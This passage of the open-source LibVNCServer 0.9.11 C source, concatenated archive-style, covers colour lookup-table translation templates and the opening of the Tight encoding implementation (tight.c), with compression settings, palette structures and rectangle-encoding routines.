outValue = ((((r * (1 + out->redMax)) >> shift) << out->redShift) | (((g * (1 + out->greenMax)) >> shift) << out->greenShift) | (((b * (1 + out->blueMax)) >> shift) << out->blueShift)); *(uint32_t*)&t[3*i] = outValue; if(!rfbEndianTest) memmove(t+3*i,t+3*i+1,3); if (out->bigEndian != in->bigEndian) { c = t[3*i]; t[3*i] = t[3*i+2]; t[3*i+2] = c; } } } /* * rfbInitTrueColourSingleTable sets up a single lookup table for truecolour * translation. */ static void rfbInitTrueColourSingleTable24 (char **table, rfbPixelFormat *in, rfbPixelFormat *out) { int i,outValue; int inRed, inGreen, inBlue, outRed, outGreen, outBlue; uint8_t *t; uint8_t c; int nEntries = 1 << in->bitsPerPixel; if (*table) free(*table); *table = (char *)malloc(nEntries * 3 + 1); t = (uint8_t *)*table; for (i = 0; i < nEntries; i++) { inRed = (i >> in->redShift) & in->redMax; inGreen = (i >> in->greenShift) & in->greenMax; inBlue = (i >> in->blueShift) & in->blueMax; outRed = (inRed * out->redMax + in->redMax / 2) / in->redMax; outGreen = (inGreen * out->greenMax + in->greenMax / 2) / in->greenMax; outBlue = (inBlue * out->blueMax + in->blueMax / 2) / in->blueMax; outValue = ((outRed << out->redShift) | (outGreen << out->greenShift) | (outBlue << out->blueShift)); *(uint32_t*)&t[3*i] = outValue; if(!rfbEndianTest) memmove(t+3*i,t+3*i+1,3); if (out->bigEndian != in->bigEndian) { c = t[3*i]; t[3*i] = t[3*i+2]; t[3*i+2] = c; } } } /* * rfbInitTrueColourRGBTables sets up three separate lookup tables for the * red, green and blue values. */ static void rfbInitTrueColourRGBTables24 (char **table, rfbPixelFormat *in, rfbPixelFormat *out) { uint8_t *redTable; uint8_t *greenTable; uint8_t *blueTable; if (*table) free(*table); *table = (char *)malloc((in->redMax + in->greenMax + in->blueMax + 3) * 3 + 1); redTable = (uint8_t *)*table; greenTable = redTable + 3*(in->redMax + 1); blueTable = greenTable + 3*(in->greenMax + 1); rfbInitOneRGBTable24 (redTable, in->redMax, out->redMax, out->redShift, (out->bigEndian != in->bigEndian)); rfbInitOneRGBTable24 (greenTable, in->greenMax, out->greenMax, out->greenShift, (out->bigEndian != in->bigEndian)); rfbInitOneRGBTable24 (blueTable, in->blueMax, out->blueMax, out->blueShift, (out->bigEndian != in->bigEndian)); } static void rfbInitOneRGBTable24 (uint8_t *table, int inMax, int outMax, int outShift, int swap) { int i; int nEntries = inMax + 1; uint32_t outValue; uint8_t c; for (i = 0; i < nEntries; i++) { outValue = ((i * outMax + inMax / 2) / inMax) << outShift; *(uint32_t *)&table[3*i] = outValue; if(!rfbEndianTest) memmove(table+3*i,table+3*i+1,3); if (swap) { c = table[3*i]; table[3*i] = table[3*i+2]; table[3*i+2] = c; } } } libvncserver-LibVNCServer-0.9.11/libvncserver/tableinitcmtemplate.c000066400000000000000000000055121303145525000254500ustar00rootroot00000000000000/* * tableinitcmtemplate.c - template for initialising lookup tables for * translation from a colour map to true colour. * * This file shouldn't be compiled. It is included multiple times by * translate.c, each time with a different definition of the macro OUT. * For each value of OUT, this file defines a function which allocates an * appropriately sized lookup table and initialises it. * * I know this code isn't nice to read because of all the macros, but * efficiency is important here. */ /* * OSXvnc Copyright (C) 2001 Dan McGuirk . * Original Xvnc code Copyright (C) 1999 AT&T Laboratories Cambridge. * All Rights Reserved. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, * USA. */ #if !defined(OUT) #error "This file shouldn't be compiled." #error "It is included as part of translate.c" #endif #define OUT_T CONCAT3E(uint,OUT,_t) #define SwapOUT(x) CONCAT2E(Swap,OUT(x)) #define rfbInitColourMapSingleTableOUT \ CONCAT2E(rfbInitColourMapSingleTable,OUT) static void rfbInitColourMapSingleTableOUT(char **table, rfbPixelFormat *in, rfbPixelFormat *out,rfbColourMap* colourMap) { uint32_t i, r, g, b; OUT_T *t; uint32_t nEntries = 1 << in->bitsPerPixel; int shift = colourMap->is16?16:8; if (*table) free(*table); *table = (char *)malloc(nEntries * sizeof(OUT_T)); t = (OUT_T *)*table; for (i = 0; i < nEntries; i++) { r = g = b = 0; if(i < colourMap->count) { if(colourMap->is16) { r = colourMap->data.shorts[3*i+0]; g = colourMap->data.shorts[3*i+1]; b = colourMap->data.shorts[3*i+2]; } else { r = colourMap->data.bytes[3*i+0]; g = colourMap->data.bytes[3*i+1]; b = colourMap->data.bytes[3*i+2]; } } t[i] = ((((r * (1 + out->redMax)) >> shift) << out->redShift) | (((g * (1 + out->greenMax)) >> shift) << out->greenShift) | (((b * (1 + out->blueMax)) >> shift) << out->blueShift)); #if (OUT != 8) if (out->bigEndian != in->bigEndian) { t[i] = SwapOUT(t[i]); } #endif } } #undef OUT_T #undef SwapOUT #undef rfbInitColourMapSingleTableOUT libvncserver-LibVNCServer-0.9.11/libvncserver/tableinittctemplate.c000066400000000000000000000113351303145525000254570ustar00rootroot00000000000000/* * tableinittctemplate.c - template for initialising lookup tables for * truecolour to truecolour translation. * * This file shouldn't be compiled. It is included multiple times by * translate.c, each time with a different definition of the macro OUT. * For each value of OUT, this file defines two functions for initialising * lookup tables. One is for truecolour translation using a single lookup * table, the other is for truecolour translation using three separate * lookup tables for the red, green and blue values. * * I know this code isn't nice to read because of all the macros, but * efficiency is important here. */ /* * OSXvnc Copyright (C) 2001 Dan McGuirk . * Original Xvnc code Copyright (C) 1999 AT&T Laboratories Cambridge. * All Rights Reserved. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, * USA. */ #if !defined(OUT) #error "This file shouldn't be compiled." #error "It is included as part of translate.c" #endif #define OUT_T CONCAT3E(uint,OUT,_t) #define SwapOUT(x) CONCAT2E(Swap,OUT(x)) #define rfbInitTrueColourSingleTableOUT \ CONCAT2E(rfbInitTrueColourSingleTable,OUT) #define rfbInitTrueColourRGBTablesOUT CONCAT2E(rfbInitTrueColourRGBTables,OUT) #define rfbInitOneRGBTableOUT CONCAT2E(rfbInitOneRGBTable,OUT) static void rfbInitOneRGBTableOUT (OUT_T *table, int inMax, int outMax, int outShift, int swap); /* * rfbInitTrueColourSingleTable sets up a single lookup table for truecolour * translation. */ static void rfbInitTrueColourSingleTableOUT (char **table, rfbPixelFormat *in, rfbPixelFormat *out) { int i; int inRed, inGreen, inBlue, outRed, outGreen, outBlue; OUT_T *t; int nEntries = 1 << in->bitsPerPixel; if (*table) free(*table); *table = (char *)malloc(nEntries * sizeof(OUT_T)); t = (OUT_T *)*table; for (i = 0; i < nEntries; i++) { inRed = (i >> in->redShift) & in->redMax; inGreen = (i >> in->greenShift) & in->greenMax; inBlue = (i >> in->blueShift) & in->blueMax; outRed = (inRed * out->redMax + in->redMax / 2) / in->redMax; outGreen = (inGreen * out->greenMax + in->greenMax / 2) / in->greenMax; outBlue = (inBlue * out->blueMax + in->blueMax / 2) / in->blueMax; t[i] = ((outRed << out->redShift) | (outGreen << out->greenShift) | (outBlue << out->blueShift)); #if (OUT != 8) if (out->bigEndian != in->bigEndian) { t[i] = SwapOUT(t[i]); } #endif } } /* * rfbInitTrueColourRGBTables sets up three separate lookup tables for the * red, green and blue values. */ static void rfbInitTrueColourRGBTablesOUT (char **table, rfbPixelFormat *in, rfbPixelFormat *out) { OUT_T *redTable; OUT_T *greenTable; OUT_T *blueTable; if (*table) free(*table); *table = (char *)malloc((in->redMax + in->greenMax + in->blueMax + 3) * sizeof(OUT_T)); redTable = (OUT_T *)*table; greenTable = redTable + in->redMax + 1; blueTable = greenTable + in->greenMax + 1; rfbInitOneRGBTableOUT (redTable, in->redMax, out->redMax, out->redShift, (out->bigEndian != in->bigEndian)); rfbInitOneRGBTableOUT (greenTable, in->greenMax, out->greenMax, out->greenShift, (out->bigEndian != in->bigEndian)); rfbInitOneRGBTableOUT (blueTable, in->blueMax, out->blueMax, out->blueShift, (out->bigEndian != in->bigEndian)); } static void rfbInitOneRGBTableOUT (OUT_T *table, int inMax, int outMax, int outShift, int swap) { int i; int nEntries = inMax + 1; for (i = 0; i < nEntries; i++) { table[i] = ((i * outMax + inMax / 2) / inMax) << outShift; #if (OUT != 8) if (swap) { table[i] = SwapOUT(table[i]); } #endif } } #undef OUT_T #undef SwapOUT #undef rfbInitTrueColourSingleTableOUT #undef rfbInitTrueColourRGBTablesOUT #undef rfbInitOneRGBTableOUT libvncserver-LibVNCServer-0.9.11/libvncserver/tabletrans24template.c000066400000000000000000000214361303145525000254650ustar00rootroot00000000000000/* * tabletranstemplate.c - template for translation using lookup tables. * * This file shouldn't be compiled. It is included multiple times by * translate.c, each time with different definitions of the macros IN and OUT. * * For each pair of values IN and OUT, this file defines two functions for * translating a given rectangle of pixel data. One uses a single lookup * table, and the other uses three separate lookup tables for the red, green * and blue values. * * I know this code isn't nice to read because of all the macros, but * efficiency is important here. */ /* * OSXvnc Copyright (C) 2001 Dan McGuirk . * Original Xvnc code Copyright (C) 1999 AT&T Laboratories Cambridge. * All Rights Reserved. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, * USA. */ #if !defined(BPP) #error "This file shouldn't be compiled." #error "It is included as part of translate.c" #endif #if BPP == 24 /* * rfbTranslateWithSingleTableINtoOUT translates a rectangle of pixel data * using a single lookup table. */ static void rfbTranslateWithSingleTable24to24 (char *table, rfbPixelFormat *in, rfbPixelFormat *out, char *iptr, char *optr, int bytesBetweenInputLines, int width, int height) { uint8_t *ip = (uint8_t *)iptr; uint8_t *op = (uint8_t *)optr; int ipextra = bytesBetweenInputLines - width * 3; uint8_t *opLineEnd; uint8_t *t = (uint8_t *)table; int shift = rfbEndianTest?0:8; uint8_t c; while (height > 0) { opLineEnd = op + width*3; while (op < opLineEnd) { *(uint32_t*)op = t[((*(uint32_t *)ip)>>shift)&0x00ffffff]; if(!rfbEndianTest) memmove(op,op+1,3); if (out->bigEndian != in->bigEndian) { c = op[0]; op[0] = op[2]; op[2] = c; } op += 3; ip += 3; } ip += ipextra; height--; } } /* * rfbTranslateWithRGBTablesINtoOUT translates a rectangle of pixel data * using three separate lookup tables for the red, green and blue values. */ static void rfbTranslateWithRGBTables24to24 (char *table, rfbPixelFormat *in, rfbPixelFormat *out, char *iptr, char *optr, int bytesBetweenInputLines, int width, int height) { uint8_t *ip = (uint8_t *)iptr; uint8_t *op = (uint8_t *)optr; int ipextra = bytesBetweenInputLines - width*3; uint8_t *opLineEnd; uint8_t *redTable = (uint8_t *)table; uint8_t *greenTable = redTable + 3*(in->redMax + 1); uint8_t *blueTable = greenTable + 3*(in->greenMax + 1); uint32_t outValue,inValue; int shift = rfbEndianTest?0:8; while (height > 0) { opLineEnd = op+3*width; while (op < opLineEnd) { inValue = ((*(uint32_t *)ip)>>shift)&0x00ffffff; outValue = (redTable[(inValue >> in->redShift) & in->redMax] | greenTable[(inValue >> in->greenShift) & in->greenMax] | blueTable[(inValue >> in->blueShift) & in->blueMax]); memcpy(op,&outValue,3); op += 3; ip+=3; } ip += ipextra; height--; } } #else #define IN_T CONCAT3E(uint,BPP,_t) #define OUT_T CONCAT3E(uint,BPP,_t) #define rfbTranslateWithSingleTable24toOUT \ CONCAT4E(rfbTranslateWithSingleTable,24,to,BPP) #define rfbTranslateWithSingleTableINto24 \ CONCAT4E(rfbTranslateWithSingleTable,BPP,to,24) #define rfbTranslateWithRGBTables24toOUT \ CONCAT4E(rfbTranslateWithRGBTables,24,to,BPP) #define rfbTranslateWithRGBTablesINto24 \ CONCAT4E(rfbTranslateWithRGBTables,BPP,to,24) /* * rfbTranslateWithSingleTableINtoOUT translates a rectangle of pixel data * using a single lookup table. */ static void rfbTranslateWithSingleTable24toOUT (char *table, rfbPixelFormat *in, rfbPixelFormat *out, char *iptr, char *optr, int bytesBetweenInputLines, int width, int height) { uint8_t *ip = (uint8_t *)iptr; OUT_T *op = (OUT_T *)optr; int ipextra = bytesBetweenInputLines - width*3; OUT_T *opLineEnd; OUT_T *t = (OUT_T *)table; int shift = rfbEndianTest?0:8; while (height > 0) { opLineEnd = op + width; while (op < opLineEnd) { *(op++) = t[((*(uint32_t *)ip)>>shift)&0x00ffffff]; ip+=3; } ip += ipextra; height--; } } /* * rfbTranslateWithRGBTablesINtoOUT translates a rectangle of pixel data * using three separate lookup tables for the red, green and blue values. */ static void rfbTranslateWithRGBTables24toOUT (char *table, rfbPixelFormat *in, rfbPixelFormat *out, char *iptr, char *optr, int bytesBetweenInputLines, int width, int height) { uint8_t *ip = (uint8_t *)iptr; OUT_T *op = (OUT_T *)optr; int ipextra = bytesBetweenInputLines - width*3; OUT_T *opLineEnd; OUT_T *redTable = (OUT_T *)table; OUT_T *greenTable = redTable + in->redMax + 1; OUT_T *blueTable = greenTable + in->greenMax + 1; uint32_t inValue; int shift = rfbEndianTest?0:8; while (height > 0) { opLineEnd = &op[width]; while (op < opLineEnd) { inValue = ((*(uint32_t *)ip)>>shift)&0x00ffffff; *(op++) = (redTable[(inValue >> in->redShift) & in->redMax] | greenTable[(inValue >> in->greenShift) & in->greenMax] | blueTable[(inValue >> in->blueShift) & in->blueMax]); ip+=3; } ip += ipextra; height--; } } /* * rfbTranslateWithSingleTableINto24 translates a rectangle of pixel data * using a single lookup table. */ static void rfbTranslateWithSingleTableINto24 (char *table, rfbPixelFormat *in, rfbPixelFormat *out, char *iptr, char *optr, int bytesBetweenInputLines, int width, int height) { IN_T *ip = (IN_T *)iptr; uint8_t *op = (uint8_t *)optr; int ipextra = bytesBetweenInputLines / sizeof(IN_T) - width; uint8_t *opLineEnd; uint8_t *t = (uint8_t *)table; while (height > 0) { opLineEnd = op + width * 3; while (op < opLineEnd) { memcpy(op,&t[3*(*(ip++))],3); op += 3; } ip += ipextra; height--; } } /* * rfbTranslateWithRGBTablesINto24 translates a rectangle of pixel data * using three separate lookup tables for the red, green and blue values. */ static void rfbTranslateWithRGBTablesINto24 (char *table, rfbPixelFormat *in, rfbPixelFormat *out, char *iptr, char *optr, int bytesBetweenInputLines, int width, int height) { IN_T *ip = (IN_T *)iptr; uint8_t *op = (uint8_t *)optr; int ipextra = bytesBetweenInputLines / sizeof(IN_T) - width; uint8_t *opLineEnd; uint8_t *redTable = (uint8_t *)table; uint8_t *greenTable = redTable + 3*(in->redMax + 1); uint8_t *blueTable = greenTable + 3*(in->greenMax + 1); uint32_t outValue; while (height > 0) { opLineEnd = op+3*width; while (op < opLineEnd) { outValue = (redTable[(*ip >> in->redShift) & in->redMax] | greenTable[(*ip >> in->greenShift) & in->greenMax] | blueTable[(*ip >> in->blueShift) & in->blueMax]); memcpy(op,&outValue,3); op += 3; ip++; } ip += ipextra; height--; } } #undef IN_T #undef OUT_T #undef rfbTranslateWithSingleTable24toOUT #undef rfbTranslateWithRGBTables24toOUT #undef rfbTranslateWithSingleTableINto24 #undef rfbTranslateWithRGBTablesINto24 #endif libvncserver-LibVNCServer-0.9.11/libvncserver/tabletranstemplate.c000066400000000000000000000076361303145525000253250ustar00rootroot00000000000000/* * tabletranstemplate.c - template for translation using lookup tables. * * This file shouldn't be compiled. It is included multiple times by * translate.c, each time with different definitions of the macros IN and OUT. * * For each pair of values IN and OUT, this file defines two functions for * translating a given rectangle of pixel data. One uses a single lookup * table, and the other uses three separate lookup tables for the red, green * and blue values. * * I know this code isn't nice to read because of all the macros, but * efficiency is important here. */ /* * OSXvnc Copyright (C) 2001 Dan McGuirk . * Original Xvnc code Copyright (C) 1999 AT&T Laboratories Cambridge. * All Rights Reserved. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, * USA. */ #if !defined(IN) || !defined(OUT) #error "This file shouldn't be compiled." #error "It is included as part of translate.c" #endif #define IN_T CONCAT3E(uint,IN,_t) #define OUT_T CONCAT3E(uint,OUT,_t) #define rfbTranslateWithSingleTableINtoOUT \ CONCAT4E(rfbTranslateWithSingleTable,IN,to,OUT) #define rfbTranslateWithRGBTablesINtoOUT \ CONCAT4E(rfbTranslateWithRGBTables,IN,to,OUT) /* * rfbTranslateWithSingleTableINtoOUT translates a rectangle of pixel data * using a single lookup table. */ static void rfbTranslateWithSingleTableINtoOUT (char *table, rfbPixelFormat *in, rfbPixelFormat *out, char *iptr, char *optr, int bytesBetweenInputLines, int width, int height) { IN_T *ip = (IN_T *)iptr; OUT_T *op = (OUT_T *)optr; int ipextra = bytesBetweenInputLines / sizeof(IN_T) - width; OUT_T *opLineEnd; OUT_T *t = (OUT_T *)table; while (height > 0) { opLineEnd = op + width; while (op < opLineEnd) { *(op++) = t[*(ip++)]; } ip += ipextra; height--; } } /* * rfbTranslateWithRGBTablesINtoOUT translates a rectangle of pixel data * using three separate lookup tables for the red, green and blue values. */ static void rfbTranslateWithRGBTablesINtoOUT (char *table, rfbPixelFormat *in, rfbPixelFormat *out, char *iptr, char *optr, int bytesBetweenInputLines, int width, int height) { IN_T *ip = (IN_T *)iptr; OUT_T *op = (OUT_T *)optr; int ipextra = bytesBetweenInputLines / sizeof(IN_T) - width; OUT_T *opLineEnd; OUT_T *redTable = (OUT_T *)table; OUT_T *greenTable = redTable + in->redMax + 1; OUT_T *blueTable = greenTable + in->greenMax + 1; while (height > 0) { opLineEnd = &op[width]; while (op < opLineEnd) { *(op++) = (redTable[(*ip >> in->redShift) & in->redMax] | greenTable[(*ip >> in->greenShift) & in->greenMax] | blueTable[(*ip >> in->blueShift) & in->blueMax]); ip++; } ip += ipextra; height--; } } #undef IN_T #undef OUT_T #undef rfbTranslateWithSingleTableINtoOUT #undef rfbTranslateWithRGBTablesINtoOUT libvncserver-LibVNCServer-0.9.11/libvncserver/tight.c000066400000000000000000002133101303145525000225350ustar00rootroot00000000000000/* * tight.c * * Routines to implement Tight Encoding * * Our Tight encoder is based roughly on the TurboVNC v0.6 encoder with some * additional enhancements from TurboVNC 1.1. For lower compression levels, * this encoder provides a tremendous reduction in CPU usage (and subsequently, * an increase in throughput for CPU-limited environments) relative to the * TightVNC encoder, whereas Compression Level 9 provides a low-bandwidth mode * that behaves similarly to Compression Levels 5-9 in the old TightVNC * encoder. */ /* * Copyright (C) 2010-2012 D. R. Commander. All Rights Reserved. * Copyright (C) 2005-2008 Sun Microsystems, Inc. All Rights Reserved. * Copyright (C) 2004 Landmark Graphics Corporation. All Rights Reserved. * Copyright (C) 2000, 2001 Const Kaplinsky. All Rights Reserved. * Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, * USA. */ #include #include "private.h" #ifdef LIBVNCSERVER_HAVE_LIBPNG #include #endif #include "turbojpeg.h" /* Note: The following constant should not be changed. */ #define TIGHT_MIN_TO_COMPRESS 12 /* The parameters below may be adjusted. */ #define MIN_SPLIT_RECT_SIZE 4096 #define MIN_SOLID_SUBRECT_SIZE 2048 #define MAX_SPLIT_TILE_SIZE 16 /* * There is so much access of the Tight encoding static data buffers * that we resort to using thread local storage instead of having * per-client data. */ #if LIBVNCSERVER_HAVE_LIBPTHREAD && LIBVNCSERVER_HAVE_TLS && !defined(TLS) && defined(__linux__) #define TLS __thread #endif #ifndef TLS #define TLS #endif /* This variable is set on every rfbSendRectEncodingTight() call. */ static TLS rfbBool usePixelFormat24 = FALSE; /* Compression level stuff. The following array contains various encoder parameters for each of 10 compression levels (0..9). Last three parameters correspond to JPEG quality levels (0..9). */ typedef struct TIGHT_CONF_s { int maxRectSize, maxRectWidth; int monoMinRectSize; int idxZlibLevel, monoZlibLevel, rawZlibLevel; int idxMaxColorsDivisor; int palMaxColorsWithJPEG; } TIGHT_CONF; static TIGHT_CONF tightConf[4] = { { 65536, 2048, 6, 0, 0, 0, 4, 24 }, /* 0 (used only without JPEG) */ { 65536, 2048, 32, 1, 1, 1, 96, 24 }, /* 1 */ { 65536, 2048, 32, 3, 3, 2, 96, 96 }, /* 2 (used only with JPEG) */ { 65536, 2048, 32, 7, 7, 5, 96, 256 } /* 9 */ }; #ifdef LIBVNCSERVER_HAVE_LIBPNG typedef struct TIGHT_PNG_CONF_s { int png_zlib_level, png_filters; } TIGHT_PNG_CONF; static TIGHT_PNG_CONF tightPngConf[10] = { { 0, PNG_NO_FILTERS }, { 1, PNG_NO_FILTERS }, { 2, PNG_NO_FILTERS }, { 3, PNG_NO_FILTERS }, { 4, PNG_NO_FILTERS }, { 5, PNG_ALL_FILTERS }, { 6, PNG_ALL_FILTERS }, { 7, PNG_ALL_FILTERS }, { 8, PNG_ALL_FILTERS }, { 9, PNG_ALL_FILTERS }, }; #endif static TLS int compressLevel = 1; static TLS int qualityLevel = 95; static TLS int subsampLevel = TJ_444; static const int subsampLevel2tjsubsamp[4] = { TJ_444, TJ_420, TJ_422, TJ_GRAYSCALE }; /* Stuff dealing with palettes. */ typedef struct COLOR_LIST_s { struct COLOR_LIST_s *next; int idx; uint32_t rgb; } COLOR_LIST; typedef struct PALETTE_ENTRY_s { COLOR_LIST *listNode; int numPixels; } PALETTE_ENTRY; typedef struct PALETTE_s { PALETTE_ENTRY entry[256]; COLOR_LIST *hash[256]; COLOR_LIST list[256]; } PALETTE; /* TODO: move into rfbScreen struct */ static TLS int paletteNumColors = 0; static TLS int paletteMaxColors = 0; static TLS uint32_t monoBackground = 0; static TLS uint32_t monoForeground = 0; static TLS PALETTE palette; /* Pointers to dynamically-allocated buffers. */ static TLS int tightBeforeBufSize = 0; static TLS char *tightBeforeBuf = NULL; static TLS int tightAfterBufSize = 0; static TLS char *tightAfterBuf = NULL; static TLS tjhandle j = NULL; void rfbTightCleanup (rfbScreenInfoPtr screen) { if (tightBeforeBufSize) { free (tightBeforeBuf); tightBeforeBufSize = 0; tightBeforeBuf = NULL; } if (tightAfterBufSize) { free (tightAfterBuf); tightAfterBufSize = 0; tightAfterBuf = NULL; } if (j) { tjDestroy(j); /* Set freed resource handle to 0! */ j = 0; } } /* Prototypes for static functions. */ static rfbBool SendRectEncodingTight(rfbClientPtr cl, int x, int y, int w, int h); static void FindBestSolidArea (rfbClientPtr cl, int x, int y, int w, int h, uint32_t colorValue, int *w_ptr, int *h_ptr); static void ExtendSolidArea (rfbClientPtr cl, int x, int y, int w, int h, uint32_t colorValue, int *x_ptr, int *y_ptr, int *w_ptr, int *h_ptr); static rfbBool CheckSolidTile (rfbClientPtr cl, int x, int y, int w, int h, uint32_t *colorPtr, rfbBool needSameColor); static rfbBool CheckSolidTile8 (rfbClientPtr cl, int x, int y, int w, int h, uint32_t *colorPtr, rfbBool needSameColor); static rfbBool CheckSolidTile16 (rfbClientPtr cl, int x, int y, int w, int h, uint32_t *colorPtr, rfbBool needSameColor); static rfbBool CheckSolidTile32 (rfbClientPtr cl, int x, int y, int w, int h, uint32_t *colorPtr, rfbBool needSameColor); static rfbBool SendRectSimple (rfbClientPtr cl, int x, int y, int w, int h); static rfbBool SendSubrect (rfbClientPtr cl, int x, int y, int w, int h); static rfbBool SendTightHeader (rfbClientPtr cl, int x, int y, int w, int h); static rfbBool SendSolidRect (rfbClientPtr cl); static rfbBool SendMonoRect (rfbClientPtr cl, int x, int y, int w, int h); static rfbBool SendIndexedRect (rfbClientPtr cl, int x, int y, int w, int h); static rfbBool SendFullColorRect (rfbClientPtr cl, int x, int y, int w, int h); static rfbBool CompressData (rfbClientPtr cl, int streamId, int dataLen, int zlibLevel, int zlibStrategy); static rfbBool SendCompressedData (rfbClientPtr cl, char *buf, int compressedLen); static void FillPalette8 (int count); static void FillPalette16 (int count); static void FillPalette32 (int count); static void FastFillPalette16 (rfbClientPtr cl, uint16_t *data, int w, int pitch, int h); static void FastFillPalette32 (rfbClientPtr cl, uint32_t *data, int w, int pitch, int h); static void PaletteReset (void); static int PaletteInsert (uint32_t rgb, int numPixels, int bpp); static void Pack24 (rfbClientPtr cl, char *buf, rfbPixelFormat *fmt, int count); static void EncodeIndexedRect16 (uint8_t *buf, int count); static void EncodeIndexedRect32 (uint8_t *buf, int count); static void EncodeMonoRect8 (uint8_t *buf, int w, int h); static void EncodeMonoRect16 (uint8_t *buf, int w, int h); static void EncodeMonoRect32 (uint8_t *buf, int w, int h); static rfbBool SendJpegRect (rfbClientPtr cl, int x, int y, int w, int h, int quality); static void PrepareRowForImg(rfbClientPtr cl, uint8_t *dst, int x, int y, int count); static void PrepareRowForImg24(rfbClientPtr cl, uint8_t *dst, int x, int y, int count); static void PrepareRowForImg16(rfbClientPtr cl, uint8_t *dst, int x, int y, int count); static void PrepareRowForImg32(rfbClientPtr cl, uint8_t *dst, int x, int y, int count); #ifdef LIBVNCSERVER_HAVE_LIBPNG static rfbBool SendPngRect(rfbClientPtr cl, int x, int y, int w, int h); static rfbBool CanSendPngRect(rfbClientPtr cl, int w, int h); #endif /* * Tight encoding implementation. */ int rfbNumCodedRectsTight(rfbClientPtr cl, int x, int y, int w, int h) { int maxRectSize, maxRectWidth; int subrectMaxWidth, subrectMaxHeight; /* No matter how many rectangles we will send if LastRect markers are used to terminate rectangle stream. */ if (cl->enableLastRectEncoding && w * h >= MIN_SPLIT_RECT_SIZE) return 0; maxRectSize = tightConf[compressLevel].maxRectSize; maxRectWidth = tightConf[compressLevel].maxRectWidth; if (w > maxRectWidth || w * h > maxRectSize) { subrectMaxWidth = (w > maxRectWidth) ? maxRectWidth : w; subrectMaxHeight = maxRectSize / subrectMaxWidth; return (((w - 1) / maxRectWidth + 1) * ((h - 1) / subrectMaxHeight + 1)); } else { return 1; } } rfbBool rfbSendRectEncodingTight(rfbClientPtr cl, int x, int y, int w, int h) { cl->tightEncoding = rfbEncodingTight; return SendRectEncodingTight(cl, x, y, w, h); } rfbBool rfbSendRectEncodingTightPng(rfbClientPtr cl, int x, int y, int w, int h) { cl->tightEncoding = rfbEncodingTightPng; return SendRectEncodingTight(cl, x, y, w, h); } rfbBool SendRectEncodingTight(rfbClientPtr cl, int x, int y, int w, int h) { int nMaxRows; uint32_t colorValue; int dx, dy, dw, dh; int x_best, y_best, w_best, h_best; char *fbptr; rfbSendUpdateBuf(cl); compressLevel = cl->tightCompressLevel; qualityLevel = cl->turboQualityLevel; subsampLevel = cl->turboSubsampLevel; /* We only allow compression levels that have a demonstrable performance benefit. CL 0 with JPEG reduces CPU usage for workloads that have low numbers of unique colors, but the same thing can be accomplished by using CL 0 without JPEG (AKA "Lossless Tight.") For those same low-color workloads, CL 2 can provide typically 20-40% better compression than CL 1 (with a commensurate increase in CPU usage.) For high-color workloads, CL 1 should always be used, as higher compression levels increase CPU usage for these workloads without providing any significant reduction in bandwidth. */ if (qualityLevel != -1) { if (compressLevel < 1) compressLevel = 1; if (compressLevel > 2) compressLevel = 2; } /* With JPEG disabled, CL 2 offers no significant bandwidth savings over CL 1, so we don't include it. */ else if (compressLevel > 1) compressLevel = 1; /* CL 9 (which maps internally to CL 3) is included mainly for backward compatibility with TightVNC Compression Levels 5-9. It should be used only in extremely low-bandwidth cases in which it can be shown to have a benefit. For low-color workloads, it provides typically only 10-20% better compression than CL 2 with JPEG and CL 1 without JPEG, and it uses, on average, twice as much CPU time. */ if (cl->tightCompressLevel == 9) compressLevel = 3; if ( cl->format.depth == 24 && cl->format.redMax == 0xFF && cl->format.greenMax == 0xFF && cl->format.blueMax == 0xFF ) { usePixelFormat24 = TRUE; } else { usePixelFormat24 = FALSE; } if (!cl->enableLastRectEncoding || w * h < MIN_SPLIT_RECT_SIZE) return SendRectSimple(cl, x, y, w, h); /* Make sure we can write at least one pixel into tightBeforeBuf. */ if (tightBeforeBufSize < 4) { tightBeforeBufSize = 4; if (tightBeforeBuf == NULL) tightBeforeBuf = (char *)malloc(tightBeforeBufSize); else tightBeforeBuf = (char *)realloc(tightBeforeBuf, tightBeforeBufSize); } /* Calculate maximum number of rows in one non-solid rectangle. */ { int maxRectSize, maxRectWidth, nMaxWidth; maxRectSize = tightConf[compressLevel].maxRectSize; maxRectWidth = tightConf[compressLevel].maxRectWidth; nMaxWidth = (w > 